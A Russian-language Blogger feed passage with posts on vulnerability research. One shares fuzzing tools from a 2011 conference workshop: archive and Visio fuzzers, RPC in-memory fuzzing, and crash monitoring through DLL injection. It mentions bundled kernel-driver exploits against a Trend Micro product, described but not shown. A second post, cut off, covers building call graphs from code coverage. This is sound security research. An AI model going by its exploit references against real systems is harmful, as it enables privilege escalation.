src='https://blogger.googleusercontent.com/tracker/1259663162418910941-7248608928786050101?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/7248608928786050101/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/06/3d.html#comment-form' title='Комментарии: 7'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/7248608928786050101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/7248608928786050101'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/06/3d.html' title='3D графика как инструмент реверс-инженера'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-6228825776799838033</id><published>2011-06-13T08:33:00.000-07:00</published><updated>2011-10-28T13:40:16.733-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='уязвимости'/><category scheme='http://www.blogger.com/atom/ns#' term='фаззинг'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='безопасность'/><category scheme='http://www.blogger.com/atom/ns#' term='выступления'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>Выступление на Positive Hack Days 2011</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/research/%D0%B2%D1%8B%D1%81%D1%82%D1%83%D0%BF%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BD%D0%B0-positive-hack-days-2011"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Этой весной в Москве прошло весьма необычное для отечественного itsec-сообщества мероприятие под названием &lt;a href="http://phdays.ru/"&gt;Positive Hack Days&lt;/a&gt;. Делать его детальный обзор я смысла не вижу, поскольку всё уже было &lt;a href="http://sgordey.blogspot.com/2011/05/positive-hack-days.html"&gt;неоднократно высказано&lt;/a&gt; другими людьми, положительные отзывы которых я вполне разделаю.&lt;br /&gt;&lt;br /&gt;На Positive Hack Days я выступил с мастер-классом &lt;a href="http://phdays.ru/master-classes.asp#1"&gt;"Автоматический поиск уязвимостей в программах без исходных текстов"&lt;/a&gt;, материалы к которому я выкладываю в данной записи.&lt;br /&gt;&lt;br /&gt;Слайды к выступлению:&lt;br /&gt;&lt;div id="__ss_8040797" style="width: 510px;"&gt;&lt;strong style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/d_olex/ss-8040797" title="Автоматический поиск уязвимостей в программах без исходных текстов"&gt;Автоматический поиск уязвимостей в программах без исходных текстов&lt;/a&gt;&lt;/strong&gt; &lt;iframe frameborder="0" height="426" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/8040797" width="510"&gt;&lt;/iframe&gt; &lt;br /&gt;&lt;div style="padding: 5px 0 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/d_olex"&gt;d_olex&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Использовавшиеся на мастер-классе утилиты (многие из них я не успел показать) &lt;a href="http://esagelab.com/files/PHD-2011_Oleksiuk_Dmytro__Fuzzing.rar"&gt;доступны для загрузки&lt;/a&gt; в виде архива. Ниже идёт описание наиболее интересного содержимого этого архива.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./AnalyzeDumps&lt;/span&gt; - Программа для анализа аварийных дампов памяти с использованием отладчика KD.EXE и расширения !exploitable.&lt;br /&gt;Использование:&lt;br /&gt;&lt;pre&gt;&amp;gt; python ./AnalyzeDumps/analyze_dumps.py &amp;lt;dumps_dir&amp;gt; [--noisy]&lt;/pre&gt;&lt;br /&gt;... где &lt;em&gt;&amp;lt;dumps_dir&amp;gt;&lt;/em&gt; - директория, в которой содержатся файлы&amp;nbsp;аварийных дампов. При указании ключа --noisy в консоль будут выведены все сообщения отладчика.&lt;br /&gt;&lt;br /&gt;По завершению работы программы в текущей директории будет создан файл &lt;span style="color: #993300;"&gt;Analyze.log&lt;/span&gt; c общей информацией по всем проанализированным дампам, а в &lt;em&gt;&amp;lt;dumps_dir&amp;gt;&lt;/em&gt; - отдельный лог для каждого аварийного дампа с полным выводом отладчика.&lt;br /&gt;Примеры сгенерированных файлов для различных тестовых приложений: &lt;span style="color: #993300;"&gt;./Analyze_Norman.log&lt;/span&gt;, &lt;span style="color: #993300;"&gt;./Analyze_RPCExample.log&lt;/span&gt; и &lt;span style="color: #993300;"&gt;./Analyze_Visio.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #993300;"&gt;&lt;span style="color: black;"&gt;Программа &lt;/span&gt;analyze_dumps.py&lt;/span&gt; требует для своей работы следующие сторонние инструменты (так же включены в архив):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: #993300;"&gt;./MSECExtensions_1_0_6&lt;/span&gt; - Расширения для отладчика &lt;a href="http://msecdbg.codeplex.com/"&gt;MSEC Debugger Extensions&lt;/a&gt;, в состав которых входит !exploitable.&lt;/li&gt;&lt;li&gt;&lt;span style="color: #993300;"&gt;./Microsoft KD&lt;span style="color: black;"&gt; - Консольный отладчик от Microsoft, который, обычно, входит в состав пакета &lt;a href="http://technet.microsoft.com/en-us/library/bb742599.aspx"&gt;Microsoft Debugging Tools for Windows&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./Code Coverage Tools&lt;/span&gt; и &lt;span style="color: #993300;"&gt;./pin-2.8-37300-msvc9-ia32_intel64-windows&lt;/span&gt; - Основанный на PIN Toolkit набор средств для построения и анализа карты покрытия кода исследуемого приложения.&lt;br /&gt;&lt;br /&gt;Подробная информация по использованию:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://d-olex.blogspot.com/2011/03/blog-post.html"&gt;"Анализ покрытия кода при поиске уязвимостей"&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://d-olex.blogspot.com/2011/04/blog-post.html"&gt;"От покрытия кода к дереву вызовов"&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Так же в директории &lt;span style="color: #993300;"&gt;./Kcachegrind&lt;/span&gt; находится Win32-версия одноимённого приложения, которое позволяет визуализировать карты деревьев вызовов, которые были получены с помощью Code Coverage Tools.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Страница программы Kcachegrind: &lt;a href="http://kcachegrind.sourceforge.net/"&gt;http://kcachegrind.sourceforge.net/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Страница Win32-версии: &lt;a href="http://sourceforge.net/projects/precompiledbin/"&gt;http://sourceforge.net/projects/precompiledbin/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./FileFuzz&lt;/span&gt; - Инструменты для примитивного мутационного фаззинга на примере файлов архивов форматов 7z, ACE, ARJ, CAB, GZ, LZH, RAR, TGZ, и ZIP.&lt;br /&gt;&lt;br /&gt;Генерация некорректных файлов производится с помощью программы &lt;span style="color: #993300;"&gt;./FileFuzz/MutateGen.exe&lt;/span&gt; (исходные тексты доступны в &lt;span style="color: #993300;"&gt;./FileFuzz/MutateGen/&lt;/span&gt;) на основе "хороших" файлов архивов указанных выше форматов, которые находятся в директории &lt;span style="color: #993300;"&gt;./FileFuzz/TEST/&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Пример запуска &lt;span style="color: black;"&gt;MutateGen.exe&lt;/span&gt; для генерации файлов:&lt;br /&gt;&lt;pre&gt;&amp;gt; MutateGen.exe C:\TEST.zip C:\output_dir -BLOCK_SIZE 1 -BLOCK_RANGE_START 0xa0 -BLOCK_RANGE_END 0xff -BLOCK_RANGE_N 1&lt;/pre&gt;&lt;br /&gt;Назначения параметров командной строки программы:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;-FILE_RANGE_START&lt;/strong&gt; - Файловое смещение для прочитанных из указанного файла начальных данных, начиная с которого MutateGen.exe&amp;nbsp;осуществляет их модификацию&amp;nbsp;(по умолчанию FILE_RANGE_START равен нулю).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;-FILE_RANGE_END&lt;/strong&gt; - Файловое смещение, определяющее конец зоны начальных данных, которую модифицирует MutateGen.exe&amp;nbsp;(по умолчанию FILE_RANGE_END равен размеру начального файла).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;-BLOCK_SIZE&lt;/strong&gt; - Размер блока данных, которые MutateGen.exe&amp;nbsp;модифицирует за один проход (допустимые значения: 1, 2 и 4).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;-BLOCK_RANGE_START&lt;/strong&gt; - Стартовое значение счётчика, которое используется как значение для генерируемого блока данных.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;-BLOCK_RANGE_END&lt;/strong&gt; - Конечное значение счётчика, которое используется как значение для генерируемого блока данных.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;-BLOCK_RANGE_N&lt;/strong&gt; - Величина инкремента счётчика за одну итерацию.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Таким образом, количество циклов генерации данных (количество модифицируемых байт) для одного начального файла рассчитывается по формуле:&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;em&gt;N = (FILE_RANGE_END &amp;amp;~ (BLOCK_SIZE - 1)) - FILE_RANGE_START&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;Количество блоков данных:&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;em&gt;BLOCKS = N / BLOCK_SIZE&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;Количество итераций для одного цикла генерации данных:&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;em&gt;I_MAX = ((BLOCK_RANGE_END &amp;amp;~ (BLOCK_RANGE_N - 1)) - BLOCK_RANGE_START) &lt;/em&gt;&lt;em&gt;/ BLOCK_RANGE_N&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;em&gt; &lt;/em&gt;&lt;/div&gt;Количество cгенерированных файлов с некорректными данными:&lt;br /&gt;&lt;br /&gt;&lt;div style="padding-left: 30px;"&gt;&lt;em&gt;FILES = BLOCKS * I_MAX&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;Для генерации данных используются сценарии &lt;span style="color: #993300;"&gt;generate_bs_1.bat&lt;/span&gt;, &lt;span style="color: #993300;"&gt;generate_bs_2.bat&lt;/span&gt;, &lt;span style="color: #993300;"&gt;generate_bs_4.bat&lt;/span&gt; и &lt;span style="color: #993300;"&gt;generate_bs_4_hi.bat&lt;/span&gt;, которые запускают &lt;span style="color: black;"&gt;MutateGen.exe&lt;/span&gt; с различными настройками.&lt;br /&gt;&lt;br /&gt;Фаззинг архивов на примере актуальной версии антивируса &lt;a href="http://www.norman.com/"&gt;Norman Security Suite&lt;/a&gt; продемонстрирован на видео.&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/24339510?byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/24339510"&gt;Norman Security Suite Fuzzing&lt;/a&gt; from &lt;a href="http://vimeo.com/user5329850"&gt;eSage Lab&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Аварийные дампы для Norman Security Suite а так же файл вызывающий падение антивирусного сканера находятся в директории &lt;span style="color: #993300;"&gt;./XcptMon/_Norman_dumps_7z&lt;/span&gt;, а лог анализа этих аварийных дампов с помощью &lt;span style="color: #993300;"&gt;analyze_dumps.py&lt;/span&gt; - в &lt;span style="color: #993300;"&gt;./Analyze_Norman.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./InMemoryFuzzer&lt;/span&gt; и &lt;span style="color: #993300;"&gt;./RPCExample&lt;/span&gt; - Инструменты и тестовые приложения для демонстрации in-memory фаззинга RPC сервера.&lt;br /&gt;В качестве фаззера используется программа на Python под названием InMemoryFuzzer by sinn3r, которая подробно описана в статье &lt;a href="http://www.exploit-db.com/download_pdf/15294"&gt;"In Memory Fuzzing"&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Для удобства использования в архив включена её версия в виде исполняемого файла, созданного с помощью &lt;a href="http://www.py2exe.org/"&gt;py2exe&lt;/a&gt; (см. директорию &lt;span style="color: #993300;"&gt;./InMemoryFuzzer/dist&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;В качестве уязвимого сервера используется написанная на C++ программа, исходные тексты и исполняемые файлы которой находятся в &lt;span style="color: #993300;"&gt;./RPCExample/&lt;/span&gt; (там же есть и клиент для этого сервера).&amp;nbsp;Проведение фаззинга осуществляется в несколько шагов:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Запускается сервер с помощью сценария &lt;span style="color: #993300;"&gt;./RPCExample/run_server.bat&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Запускается фаззер с помощью сценария &lt;span style="color: #993300;"&gt;./RPCExample/fuzz_server.bat&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Запускается клиент для RPC сервера (./RPCExample/DebugExe/ContextExampleClient.exe)&lt;/li&gt;&lt;li&gt;В момент обработки запроса от клиента в контексте серверного процесса фаззер модифицирует переданную функции &lt;strong&gt;_HelloProc&lt;/strong&gt;() ASCII-строку, в результате чего будет спровоцировано переполнение буфера в этой функции.&lt;/li&gt;&lt;li&gt;После аварийного завершения работы серверного процесса фаззер создаст отчёт о его падении в директории &lt;span style="color: #993300;"&gt;./RPCExample/crashbin&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./MSOffice&lt;/span&gt; - Инструменты для более продвинутого мутационного фаззинга на примере приложения Visio из состава Microsoft Office.&lt;br /&gt;&lt;br /&gt;Генерация данных для фаззинга осуществляется приложением &lt;span style="color: #993300;"&gt;./MSOffice/fuzzgen/&lt;/span&gt;, которое использует принцип мутационных преобразований имеющихся .VSD-документов с частичным парсингом формата файла-контейнера Microsoft Office. Для парсинга структуры документов используются функция &lt;a href="http://msdn.microsoft.com/en-us/library/aa380342(v=vs.85).aspx"&gt;StgOpenStorageEx&lt;/a&gt;() и интерфейс &lt;a href="http://msdn.microsoft.com/en-us/library/aa380015(v=vs.85).aspx"&gt;IStorage&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;В &lt;span style="color: #993300;"&gt;./MSOffice/_faults/&lt;/span&gt; находятся примеры сгенерированных фаззером .VSD-документов, обработка которых вызывает падение Visio. Лог анализа этих аварийных дампов с помощью &lt;span style="color: #993300;"&gt;analyze_dumps.py&lt;/span&gt; находится в &lt;span style="color: #993300;"&gt;./Analyze_Visio.log&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Для запуска процесса фаззинга используется приложение &lt;span style="color: #993300;"&gt;./MSOffice/fuzzrun/&lt;/span&gt;, работа с ним продемонстрирована на видео.&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="300" src="http://player.vimeo.com/video/24337637?byline=0&amp;amp;portrait=0" width="400"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;a href="http://vimeo.com/24337637"&gt;Microsoft Office Visio Fuzzing&lt;/a&gt; from &lt;a href="http://vimeo.com/user5329850"&gt;eSage Lab&lt;/a&gt; on &lt;a href="http://vimeo.com/"&gt;Vimeo&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./XcptMon&lt;/span&gt; - Приложение для мониторинга исключений и создания аварийных дампов. Именно оно используется для генерации дампов в описанных выше тестах.&lt;br /&gt;&lt;br /&gt;XcptMon работает по принципу внедрения DLL библиотеки (&lt;span style="color: #993300;"&gt;./XcptMon/XcptMonDll.dll&lt;/span&gt;) в контекст анализируемого процесса при его запуске. DLL, в свою очередь, перехватывает функцию &lt;strong&gt;KiUserExceptionDispatcher&lt;/strong&gt;(). Для внедрения DLL используется параметр реестра &lt;a href="http://msdn.microsoft.com/en-us/library/a329t4ed(v=vs.71).aspx"&gt;"Debugger"&lt;/a&gt; в ключе HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\&lt;em&gt;&amp;lt;image_name&amp;gt;&lt;/em&gt;, где &lt;em&gt;&amp;lt;image_name&amp;gt;&lt;/em&gt; - имя исполняемого файла анализируемого процесса.&lt;br /&gt;&lt;br /&gt;Использование XcptMon:&lt;br /&gt;&lt;pre&gt;&amp;gt; XcptMon.exe &amp;lt;image_name&amp;gt; [options]&lt;/pre&gt;&lt;br /&gt;... где в качестве опций возможно указать следующие ключи:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;--dumpsdir &lt;em&gt;&amp;lt;path&amp;gt;&lt;/em&gt; - Путь к директории для сохранения аварийных дампов.&lt;/li&gt;&lt;li&gt;--logpath &lt;em&gt;&amp;lt;path&amp;gt;&lt;/em&gt; - Путь к файлу, в который будет записана информация об исключениях.&lt;/li&gt;&lt;li&gt;--remove - Отключить XcptMon для указанного имени процесса.&lt;/li&gt;&lt;li&gt;--noexit - Не завершать целевой процесс при возникновении первого #AV исключения.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Пример лога с информацией об исключениях:&lt;br /&gt;&lt;pre&gt;[+] Target command line: "TestApp.exe"&lt;br /&gt;[+] DLL injected into the target process 7404&lt;br /&gt;[+] Exit on first #AV: "No"&lt;br /&gt;ModuleInit(): From process 'E:\_tmp\PHD\XcptMon\TestApp.exe' (PID: 7404)&lt;br /&gt;[!] EXCEPTION OCCURS:&lt;br /&gt;STATUS_ACCESS_VIOLATION at 0x0119101c&lt;br /&gt;  Access type: Write&lt;br /&gt;      Address: 0x00000000&lt;br /&gt;EAX=0x00000000 EBX=0x00000000 ECX=0x6f6e215c EDX=0x773270b4&lt;br /&gt;ESI=0x6f6e20c1 EDI=0x01193380 EBP=0x0012fe54&lt;br /&gt;&lt;br /&gt;[+] 22398742 bytes of minidump has been written to the "0xC0000005_0x0119101C_17.05_19.28.54.DMP"&lt;br /&gt;[!] EXCEPTION OCCURS:&lt;br /&gt;STATUS_ACCESS_VIOLATION at 0x011910af&lt;br /&gt;  Access type: Write&lt;br /&gt;      Address: 0x00000000&lt;br /&gt;EAX=0x00000000 EBX=0x00000000 ECX=0x6f6e215c EDX=0x773270b4&lt;br /&gt;ESI=0x6f6e20c1 EDI=0x00000000 EBP=0x0012fe54&lt;br /&gt;&lt;br /&gt;[+] 22402854 bytes of minidump has been written to the "0xC0000005_0x011910AF_17.05_19.28.54.DMP"&lt;br /&gt;[+] Process exit code: 0xc0000005&lt;/pre&gt;&lt;br /&gt;Так же библиотека &lt;span style="color: #993300;"&gt;XcptMonDll.dll&lt;/span&gt; экспортирует глобальные переменные &lt;em&gt;m_szLastFilePath&lt;/em&gt;, &lt;em&gt;m_szLastExceptionCode&lt;/em&gt;, &lt;em&gt;m_szLastExceptionAddr&lt;/em&gt;, &lt;em&gt;m_szMainModuleVersion&lt;/em&gt; и &lt;em&gt;m_szFaultModuleVersion&lt;/em&gt;, в которые на момент создания аварийного дампа записывается информация о возникшем исключении и целевом приложении. Эту информацию, для включения в свой лог-файл, получает упоминавшийся выше &lt;span style="color: #993300;"&gt;analyze_dumps.py&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;h1&gt;****&lt;/h1&gt;&lt;span style="color: #993300;"&gt;./ioctl_fuzzer-1.2&lt;/span&gt; - Исходные тексты и исполняемые файлы программы IOCTL Fuzzer, которая предназначена для автоматического выявления узявимостей в драйверах режима ядра, связанных с некорректной обработкой IOCTL-запросов.&lt;br /&gt;&lt;a href="http://d-olex.blogspot.com/2010/12/%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B-ioctl-fuzzer.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://d-olex.blogspot.com/2010/12/%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D1%8B-ioctl-fuzzer.html"&gt;Подробная информация по использованию&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Страница проекта: &lt;a href="http://code.google.com/p/ioctlfuzzer/"&gt;http://code.google.com/p/ioctlfuzzer/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;В директории &lt;span style="color: #993300;"&gt;./ioctl_fuzzer-1.2/_exploits/&lt;/span&gt; находятся примеры эксплойтов к найденным спомощью IOCTL Fuzzer уязвимостям.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;scsiprot_smart&lt;/strong&gt; - "Теоретически эксплуатируемая" Local Admin to Ring0 уязвимость в стандартном драйвере Windows atapi.sys при обработке IOCTL запроса &lt;a href="http://www.osronline.com/ddkx/storage/k307_07ci.htm"&gt;IOCTL_SCSI_MINIPORT&lt;/a&gt;. Приведенный демонстрационный эксплойт, к сожалению, DoS only.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;TM_TmComm_9000402b_exploit&lt;/strong&gt; - Полнофункциональный Local Admin to Ring0 эксплойт к уязвимости в драйвере актуальной версии (3.0.0.1303 на момент написания текста) антивирусного продукта под названием &lt;a href="http://us.trendmicro.com/us/products/personal/titanium-maximum-security/"&gt;Trend Micro Titanium Maximum Security&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-6228825776799838033?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/6228825776799838033/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/06/positive-hack-days-2011.html#comment-form' title='Комментарии: 9'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6228825776799838033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6228825776799838033'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/06/positive-hack-days-2011.html' title='Выступление на Positive Hack Days 2011'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-5642798077664889814</id><published>2011-04-19T02:26:00.000-07:00</published><updated>2011-12-03T12:52:48.354-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='визуализация'/><category scheme='http://www.blogger.com/atom/ns#' term='реверсинг'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>От покрытия кода к дереву вызовов</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/research/%D0%BE%D1%82-%D0%BF%D0%BE%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D1%8F-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BA-%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D1%83-%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%BE%D0%B2"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;В &lt;a href="http://esagelab.ru/blog/research/%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7-%D0%BF%D0%BE%D0%BA%D1%80%D1%8B%D1%82%D0%B8%D1%8F-%D0%BA%D0%BE%D0%B4%D0%B0-%D0%BF%D1%80%D0%B8-%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B5-%D1%83%D1%8F%D0%B7%D0%B2%D0%B8"&gt;прошлом посте&lt;/a&gt; нами было рассказано о практических аспектах применения dynamic binary instrumentation engines (на примере &lt;a href="http://www.pintool.org/"&gt;PIN&lt;/a&gt;) для анализа покрытия кода при фаззинге. Но очевидно, что столь мощные технологии годятся для решения и более сложных задач: в этот раз речь будет идти про использование PIN для построения карты исполнения кода в виде дерева вызовов различных процедур.&lt;br /&gt;&lt;br /&gt;Для UNIX-like операционных систем существует весьма продвинутый инструмент под названием &lt;a href="http://valgrind.org/docs/manual/cl-manual.html"&gt;Callgrind&lt;/a&gt;, представляющий собой модуль для известного профилировщика &lt;a href="http://en.wikipedia.org/wiki/Valgrind"&gt;Vallgrind&lt;/a&gt;. Задачей Callgrind является запись информации о вызове всех процедур исследуемого приложения в процессе его исполнения, при этом, в качестве результата работы, он генерирует текстовый лог, в котором присутствует информация о том, какие процедуры, из каких мест кода и сколько раз были вызваны. Это и называется деревом вызовов. На самом деле, Callgrind способен записывать и много дополнительной информации, включая время исполнения отдельных ветвей алгоритма, однако, именно связи между процедурами исследуемого кода являются наиболее интересной информацией для реверс-инженера. Формат выходного файла Callgrind называется Calltree Profile Format, документация по нему &lt;a href="http://valgrind.org/docs/manual/cl-format.html"&gt;доступна на официальном сайте&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;К сожалению, версии Callgrind для Windows на данный момент не существует, поэтому нами было принято решение частично продублировать его функции в ранее разработанном пакете инструментов &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools"&gt;Code Coverage Analysis Tools&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Основную задачу по сбору информации, как несложно догадаться, выполняет разработанный нами &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools/blob/master/Coverager/Coverager.cpp"&gt;инструментальный модуль для PIN&lt;/a&gt;, который, для активации режима записи всех вызовов функций, следует запускать с опцией "-c". Запуск целевого приложения удобно осуществлять с помощью сценария execute_pin_calls.bat, пример:&lt;br /&gt;&lt;pre&gt;&amp;gt; execute_pin_calls.bat "C:\Program Files\Internet Explorer\iexplore.exe"&lt;/pre&gt;&lt;em&gt;Примечание: перед этим следует не забыть поместить библиотеку Coverager.dll в корневую директорию PIN, и записать полный путь к ней в переменную среды PINPATH, путём редактирования execute_pin_calls.bat.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;После завершения работы исследуемого приложения в текущей директории будет создано некоторое количество текстовых файлов с именами вида CoverageData.log.&amp;lt;N&amp;gt;, где &amp;lt;N&amp;gt; - порядковый номер потока, который исполнялся в контексте исследуемого приложения. Эти файлы содержат информацию о дереве вызовов каждого из потоков. Для работы с деревом вызовов следует преобразовать их в Calltree Profile Format с помощью программы &lt;a href="https://github.com/Cr4sh/Code-coverage-analysis-tools/blob/master/coverage_to_callgraph.py"&gt;coverage_to_callgraph.py&lt;/a&gt;, которая принимает следующие параметры командной строки:&lt;br /&gt;&lt;pre&gt;&amp;gt; python coverage_to_callgraph.py &amp;lt;log_file_path&amp;gt; &amp;lt;thread_number&amp;gt; [options]&lt;/pre&gt;... где &amp;lt;log_file_path&amp;gt; - путь к файлу CoverageData.log, а &amp;lt;thread_number&amp;gt; - порядковый номер потока. Если в результирующий лог требуется включить информацию обо всех потоках, то в качестве &amp;nbsp;&amp;lt;thread_number&amp;gt; следует указать "*". В качестве опциональных параметров указываются следующие ключи:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;--modules&lt;/strong&gt; - Получать информацию только для указанных модулей (по именам).  Для передачи списка из нескольких модулей следует разделять их имена запятой (например: --modules "iexplore.exe, ieframe.dll"). Если параметр --modules не указан - в результирующий файл будет включена информация обо всех исполняемых модулях исследуемого процесса.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;--skip-symbols&lt;/strong&gt; - По умолчанию coverage_to_callgraph.py автоматически загружает PDB-символы для нужных исполняемых модулей. Параметр --no-symbols позволяет отключить загрузку PDB символов, в таком случае, имена всех процедур в результирующем файле будут представлены в виде module+ofsset.&lt;/li&gt;&lt;/ul&gt;Пример:&lt;br /&gt;&lt;pre&gt;C:\&amp;gt; python coverage_to_callgraph.py CoverageData.log *&lt;br 